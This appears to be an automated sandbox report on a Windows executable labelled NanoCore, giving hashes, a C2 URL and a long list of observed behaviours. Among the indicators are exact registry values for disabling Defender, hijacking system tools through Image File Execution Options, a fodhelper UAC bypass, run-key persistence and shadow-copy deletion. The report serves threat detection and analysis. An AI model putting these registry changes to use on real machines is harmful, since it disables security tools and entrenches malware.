Analysis
- max time kernel
150s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
22/08/2026, 01:41
Behavioral task
behavioral1
Sample
sundayinsoho.com_chrome.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
40 signatures
150 seconds
Behavioral task
behavioral2
Sample
sundayinsoho.com_chrome.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
38 signatures
150 seconds
General
- Target sundayinsoho.com_chrome.exe
- Size 57KB
- Sample260822-b36pmavsbt
- SHA256 92a0de0f87d87a9685cb5e75103c31ded089db89747b1065e0bd45a32bd0f0f8
- MD5 14596d470c782a9a35591b089412b3f7
- SHA1 a250af2c341e6f5a5da2b4e7815b9aff1ecd56da
- SHA512 f1d0bfcddf285c564f3fff16eea02053c9003e062d3b78e46b19e7e6aeba48c0c79dc913f2d3025a752ed3d907aa35bd7444667524bb11e23091bc1237cd7130
- SSDEEP 768:hZBuYk8jca8GwpiM72xD6PveLrK6d9YMR4RN1XXGb5fAdOTfzKFum16:h/z83b2xD6P2n2S4RLXGb5feOTfzuud
- TLSH T1D343E84477FD4251E1BF8EBA8DB155418732B4679C32D38D06D4058E09B2B40CEA8F7B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
nanocore
Version
-
1.2.2.0
C2
-
http://sundayinsoho.com
Mutex
-
ac7e2f05-8df7-4c55-8841-78385f6bb064
Attributes
-
c2_url
http://sundayinsoho.com
-
default_group
xoilac
-
primary_dns
ali.ns.cloudflare.com
-
secondary_dns
woz.ns.cloudflare.com
-
version
1.2.2.0
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/4572-1-0x0000000000E30000-0x0000000000E44000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" sundayinsoho.com_chrome.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5928 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" sundayinsoho.com_chrome.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts sundayinsoho.com_chrome.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe sundayinsoho.com_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sundayinsoho.com_chrome.exe" sundayinsoho.com_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe sundayinsoho.com_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sundayinsoho.com_chrome.exe" sundayinsoho.com_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe sundayinsoho.com_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sundayinsoho.com_chrome.exe" sundayinsoho.com_chrome.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 4760 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_158.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf sundayinsoho.com_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf sundayinsoho.com_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf sundayinsoho.com_chrome.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sundayinsoho.com_chrome.exe" sundayinsoho.com_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sundayinsoho.com_chrome.exe" sundayinsoho.com_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sundayinsoho.com_chrome.exe" sundayinsoho.com_chrome.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 2860 tasklist.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe sundayinsoho.com_chrome.exe File created C:\Windows\system32\sysupdate.exe sundayinsoho.com_chrome.exe File opened for modification C:\Windows\system32\sysupdate.exe sundayinsoho.com_chrome.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 1048 wscript.exe 4856 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" sundayinsoho.com_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" sundayinsoho.com_chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1188 sc.exe 5704 sc.exe 912 sc.exe 4220 sc.exe 6104 sc.exe 2812 sc.exe 2716 sc.exe 5520 sc.exe 4880 sc.exe 2556 sc.exe 4584 sc.exe 1972 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4548 cmd.exe 3012 cmd.exe 1932 cmd.exe 4136 cmd.exe 5300 cmd.exe 1904 cmd.exe 5248 cmd.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 3348 ipconfig.exe 1676 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4408 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2876 vssadmin.exe 4792 vssadmin.exe 5704 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\WallpaperStyle = "2" sundayinsoho.com_chrome.exe - Modifies registry class 16 IoCs
description ioc Process Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell sundayinsoho.com_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings sundayinsoho.com_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet sundayinsoho.com_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\sundayinsoho.com_chrome.exe\" \"%1\"" sundayinsoho.com_chrome.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell sundayinsoho.com_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sundayinsoho.com_chrome.exe" sundayinsoho.com_chrome.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings sundayinsoho.com_chrome.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open sundayinsoho.com_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open sundayinsoho.com_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" sundayinsoho.com_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell sundayinsoho.com_chrome.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command sundayinsoho.com_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\DelegateExecute sundayinsoho.com_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command sundayinsoho.com_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command sundayinsoho.com_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open sundayinsoho.com_chrome.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1888 schtasks.exe 4388 schtasks.exe 4404 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5928 powershell.exe 5928 powershell.exe 5928 powershell.exe 5532 WMIC.exe 5532 WMIC.exe 5532 WMIC.exe 5532 WMIC.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 2832 WMIC.exe 2832 WMIC.exe 2832 WMIC.exe 2832 WMIC.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 1616 WMIC.exe 1616 WMIC.exe 1616 WMIC.exe 1616 WMIC.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe 4572 sundayinsoho.com_chrome.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4572 sundayinsoho.com_chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5928 powershell.exe Token: SeBackupPrivilege 2836 vssvc.exe Token: SeRestorePrivilege 2836 vssvc.exe Token: SeAuditPrivilege 2836 vssvc.exe Token: SeIncreaseQuotaPrivilege 5532 WMIC.exe Token: SeSecurityPrivilege 5532 WMIC.exe Token: SeTakeOwnershipPrivilege 5532 WMIC.exe Token: SeLoadDriverPrivilege 5532 WMIC.exe Token: SeSystemProfilePrivilege 5532 WMIC.exe Token: SeSystemtimePrivilege 5532 WMIC.exe Token: SeProfSingleProcessPrivilege 5532 WMIC.exe Token: SeIncBasePriorityPrivilege 5532 WMIC.exe Token: SeCreatePagefilePrivilege 5532 WMIC.exe Token: SeBackupPrivilege 5532 WMIC.exe Token: SeRestorePrivilege 5532 WMIC.exe Token: SeShutdownPrivilege 5532 WMIC.exe Token: SeDebugPrivilege 5532 WMIC.exe Token: SeSystemEnvironmentPrivilege 5532 WMIC.exe Token: SeRemoteShutdownPrivilege 5532 WMIC.exe Token: SeUndockPrivilege 5532 WMIC.exe Token: SeManageVolumePrivilege 5532 WMIC.exe Token: 33 5532 WMIC.exe Token: 34 5532 WMIC.exe Token: 35 5532 WMIC.exe Token: 36 5532 WMIC.exe Token: SeIncreaseQuotaPrivilege 5532 WMIC.exe Token: SeSecurityPrivilege 5532 WMIC.exe Token: SeTakeOwnershipPrivilege 5532 WMIC.exe Token: SeLoadDriverPrivilege 5532 WMIC.exe Token: SeSystemProfilePrivilege 5532 WMIC.exe Token: SeSystemtimePrivilege 5532 WMIC.exe Token: SeProfSingleProcessPrivilege 5532 WMIC.exe Token: SeIncBasePriorityPrivilege 5532 WMIC.exe Token: SeCreatePagefilePrivilege 5532 WMIC.exe Token: SeBackupPrivilege 5532 WMIC.exe Token: SeRestorePrivilege 5532 WMIC.exe Token: SeShutdownPrivilege 5532 WMIC.exe Token: SeDebugPrivilege 5532 WMIC.exe Token: SeSystemEnvironmentPrivilege 5532 WMIC.exe Token: SeRemoteShutdownPrivilege 5532 WMIC.exe Token: SeUndockPrivilege 5532 WMIC.exe Token: SeManageVolumePrivilege 5532 WMIC.exe Token: 33 5532 WMIC.exe Token: 34 5532 WMIC.exe Token: 35 5532 WMIC.exe Token: 36 5532 WMIC.exe Token: SeIncreaseQuotaPrivilege 5928 powershell.exe Token: SeSecurityPrivilege 5928 powershell.exe Token: SeTakeOwnershipPrivilege 5928 powershell.exe Token: SeLoadDriverPrivilege 5928 powershell.exe Token: SeSystemProfilePrivilege 5928 powershell.exe Token: SeSystemtimePrivilege 5928 powershell.exe Token: SeProfSingleProcessPrivilege 5928 powershell.exe Token: SeIncBasePriorityPrivilege 5928 powershell.exe Token: SeCreatePagefilePrivilege 5928 powershell.exe Token: SeBackupPrivilege 5928 powershell.exe Token: SeRestorePrivilege 5928 powershell.exe Token: SeShutdownPrivilege 5928 powershell.exe Token: SeDebugPrivilege 5928 powershell.exe Token: SeSystemEnvironmentPrivilege 5928 powershell.exe Token: SeRemoteShutdownPrivilege 5928 powershell.exe Token: SeUndockPrivilege 5928 powershell.exe Token: SeManageVolumePrivilege 5928 powershell.exe Token: 33 5928 powershell.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4572 sundayinsoho.com_chrome.exe - Suspicious use of WriteProcessMemory 44 IoCs
description pid Process procid_target PID 4572 wrote to memory of 5928 4572 sundayinsoho.com_chrome.exe 89 PID 4572 wrote to memory of 1188 4572 sundayinsoho.com_chrome.exe 91 PID 4572 wrote to memory of 5704 4572 sundayinsoho.com_chrome.exe 93 PID 4572 wrote to memory of 912 4572 sundayinsoho.com_chrome.exe 95 PID 4572 wrote to memory of 4220 4572 sundayinsoho.com_chrome.exe 96 PID 4572 wrote to memory of 5520 4572 sundayinsoho.com_chrome.exe 99 PID 4572 wrote to memory of 6104 4572 sundayinsoho.com_chrome.exe 101 PID 4572 wrote to memory of 2812 4572 sundayinsoho.com_chrome.exe 103 PID 4572 wrote to memory of 4880 4572 sundayinsoho.com_chrome.exe 105 PID 4572 wrote to memory of 1936 4572 sundayinsoho.com_chrome.exe 107 PID 4572 wrote to memory of 2556 4572 sundayinsoho.com_chrome.exe 108 PID 4572 wrote to memory of 4584 4572 sundayinsoho.com_chrome.exe 110 PID 1936 wrote to memory of 5696 1936 fodhelper.exe 111 PID 4572 wrote to memory of 2876 4572 sundayinsoho.com_chrome.exe 113 PID 4572 wrote to memory of 5532 4572 sundayinsoho.com_chrome.exe 115 PID 4572 wrote to memory of 1048 4572 sundayinsoho.com_chrome.exe 122 PID 4572 wrote to memory of 1888 4572 sundayinsoho.com_chrome.exe 123 PID 4572 wrote to memory of 4388 4572 sundayinsoho.com_chrome.exe 125 PID 4572 wrote to memory of 4548 4572 sundayinsoho.com_chrome.exe 130 PID 4572 wrote to memory of 3012 4572 sundayinsoho.com_chrome.exe 132 PID 4572 wrote to memory of 4136 4572 sundayinsoho.com_chrome.exe 133 PID 4572 wrote to memory of 1932 4572 sundayinsoho.com_chrome.exe 134 PID 4572 wrote to memory of 5300 4572 sundayinsoho.com_chrome.exe 135 PID 4572 wrote to memory of 5248 4572 sundayinsoho.com_chrome.exe 136 PID 4572 wrote to memory of 1904 4572 sundayinsoho.com_chrome.exe 137 PID 4572 wrote to memory of 4404 4572 sundayinsoho.com_chrome.exe 143 PID 4572 wrote to memory of 4856 4572 sundayinsoho.com_chrome.exe 146 PID 4548 wrote to memory of 4792 4548 cmd.exe 147 PID 3012 wrote to memory of 4408 3012 cmd.exe 148 PID 1904 wrote to memory of 1676 1904 cmd.exe 149 PID 5300 wrote to memory of 4520 5300 cmd.exe 150 PID 5248 wrote to memory of 3348 5248 cmd.exe 151 PID 4136 wrote to memory of 2860 4136 cmd.exe 152 PID 1932 wrote to memory of 4364 1932 cmd.exe 153 PID 4520 wrote to memory of 1696 4520 net.exe 154 PID 4548 wrote to memory of 2832 4548 cmd.exe 155 PID 4572 wrote to memory of 3176 4572 sundayinsoho.com_chrome.exe 156 PID 4572 wrote to memory of 5704 4572 sundayinsoho.com_chrome.exe 157 PID 4572 wrote to memory of 1616 4572 sundayinsoho.com_chrome.exe 159 PID 4572 wrote to memory of 2636 4572 sundayinsoho.com_chrome.exe 160 PID 4572 wrote to memory of 4760 4572 sundayinsoho.com_chrome.exe 162 PID 4572 wrote to memory of 1972 4572 sundayinsoho.com_chrome.exe 163 PID 4572 wrote to memory of 2716 4572 sundayinsoho.com_chrome.exe 164 PID 2636 wrote to memory of 5356 2636 net.exe 169 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\sundayinsoho.com_chrome.exe"C:\Users\Admin\AppData\Local\Temp\sundayinsoho.com_chrome.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4572 -
